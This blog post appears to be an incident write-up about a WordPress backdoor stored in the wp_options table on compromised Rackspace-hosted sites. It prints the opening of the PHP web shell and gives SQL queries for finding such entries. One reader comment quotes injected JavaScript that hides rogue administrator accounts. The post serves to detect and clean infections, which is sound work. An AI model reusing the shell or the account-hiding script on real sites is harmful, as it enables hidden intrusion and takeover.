Rackspace Hacked Clients, Check Your Databases: WordPress “wp_optimize” Backdoor In wp_options Table

Just finished cleaning up a hacked client whose website is hosted on Rackspace Cloud hosting. It is the second one within the past few weeks, although the first one was actually hosting on Laughing Squid, which happens to use Rackspace Cloud. I had discovered that there were a large number of people all on the same IP as my client a couple of weeks ago who all got hacked, but I was having trouble determining if it was an issue with Laughing Squid or an issue with Rackspace Cloud itself, so I didn’t blog about it until I could research it more. I wish now that I had, because maybe then it would not have spread so widely. As it is, it is the same WordPress attack that Unmask Parasites blogged about earlier today.

It looks like the culprit might have been a security hole in phpmyadmin. Hopefully this will turn out to be what was wrong, because Rackspace upgraded all of their installations of that package this past Saturday. If so the initial security could very well be plugged, although of course we don’t know for sure that was what was affecting all of these customers yet. In either case, however, simply plugging the hole will not be enough for affected websites.

The Unmask Parasites blog went into depth about how the various files were injected with malicious code, and how fake admins were used to modify the theme files on the installation. However, what they (and as far as I can tell everyone else) missed was a backdoor that I found injected directly into the wp_options table. The record had an option_name of “wp_optimize”, autoload set to “on” (which means that the option is automatically loaded with WordPress), and an option_value of php shell code:

1
2
3
4
5
6
7
8
9
10
11
12
$kmd5='510a584f9747c1262b5ef3c89bd9afb4';$shellver='1.7.5-stable';
if((isset($_POST['sh'])&&(md5(md5($_POST['sh']))==$kmd5))or(isset($_GET['sh'])&&(md5(md5($_GET['sh']))==$kmd5)))
{
    $kuppa=getcwd();
    if	(file_exists($kuppa."/wp-config.php"))   	      {include ($kuppa."/wp-config.php");};
    if	(file_exists($kuppa."/wp-includes/formatting.php"))   {require_once ($kuppa."/wp-includes/formatting.php");};
    if	(file_exists($kuppa."/wp-includes/kses.php"))         {require_once ($kuppa."/wp-includes/kses.php");};
}
 
if (!function_exists('update_option_1')):
    function update_option_1( $option_name, $newvalue )
...

In all it was 1216 lines of code. You can view the entire file here: sql-injection-wp-optimize.txt. It allows an attacker to basically run any commands or upload any file to the server that they want to. Deleting or cleaning all of the infected files on the server won’t help as long as this code is still in the database. Please, if you have been hacked (regardless of whether or not you are on Rackspace hosting) please make sure you check your databases for malicious code like this.

An easy way to check for these types of suspicious entries in a hacked WordPress database is to run the following MySQL query:

1
SELECT * FROM wp_options WHERE (option_id LIKE '%base64_decode%' OR blog_id LIKE '%base64_decode%' OR option_name LIKE '%base64_decode%' OR option_value LIKE '%base64_decode%' OR autoload LIKE '%base64_decode%') order by option_id

So far the only legitimate entries I have found returned from that query were rss entries pulling in blog posts discussing the base64_decode() php function, so if you find an entry in the database that doesn’t look like someone’s blog post, odds are you are going to want to delete it.

14 thoughts on “Rackspace Hacked Clients, Check Your Databases: WordPress “wp_optimize” Backdoor In wp_options Table”

  1. thanks a bunch for posting this. as one of your clients that was hacked, it’s great that you both were able to help me and are trying to build awareness about the problem. hopefully the host companies will pay more attention to early complaints to that these issues can be fixed a lot earlier and so they don’t lose customers like me.

  2. Thanks for the tip. Found junk in a rogue wp_options entry.

    Here’s the combined SQL I’m using which has turned up nasty stuff

    SELECT * FROM XX_options WHERE (option_id LIKE '%base64_decode%' OR blog_id LIKE '%base64_decode%' OR option_name LIKE '%base64_decode%' OR option_value LIKE '%base64_decode%' OR autoload LIKE '%base64_decode%' OR option_id LIKE '%edoced_46esab%' OR blog_id LIKE '%edoced_46esab%' OR option_name LIKE '%edoced_46esab%' OR option_value LIKE '%edoced_46esab%' OR autoload LIKE '%edoced_46esab%' OR option_name LIKE 'wp_check_hash' OR option_name LIKE 'class_generic_support' OR option_name LIKE 'widget_generic_support' OR option_name LIKE 'ftp_credentials' OR option_name LIKE 'fwp' OR option_name LIKE 'rss_%') order by option_id
  3. I’ve found a site that used a name other then anim, it had cloned a username, and also, created several other users some which didn’t display “…” as the first name, in the user edit screen there was a script tag in the firstname field.

  4. My blog was compromised. The following javascript was injected to the admin page listing Administrator users resulting in the added admin users to be hidden.

    var setUserName = function(){
    try{
    var t=document.getElementById(“user_superuser”);
    while(t.nodeName!=”TR”){
    t=t.parentNode;
    };
    t.parentNode.removeChild(t);
    var tags = document.getElementsByTagName(“H3″);
    var s = ” shown below”;
    for (var i = 0; i 0){
    s =(parseInt(t)-1)+s;
    h.removeChild(h.firstChild);
    t = document.createTextNode(s);
    h.appendChild(t);
    }
    }
    var arr=document.getElementsByTagName(“ul”);
    for(var i in arr) if(arr[i].className==”subsubsub”){
    var n=/>Administrator \((\d+)\)0){
    var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)Administrator (“+(n[1]-1)+”)Administrator \((\d+)\)0){
    var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)Administrator (“+(n[1]-1)+”)All \((\d+)\)0){
    var txt=arr[i].innerHTML.replace(/>All \((\d+)\)All (“+(n[1]-1)+”)<");
    arr[i].innerHTML=txt;
    }
    }
    }catch(e){};
    };
    addLoadEvent(setUserName);

  5. It is sad to know that some hosting companies do not pay attention that much on their customers’ complaints. I hope what happened to this one will be a lesson to all hosting companies.

  6. This is a damn shame. I buddy of mine got hacked a few months ago. It took the hosting company 4 days to get him back online. I don’t know how much he lost in that period of time but he was NOT happy with them!

Leave a Comment

*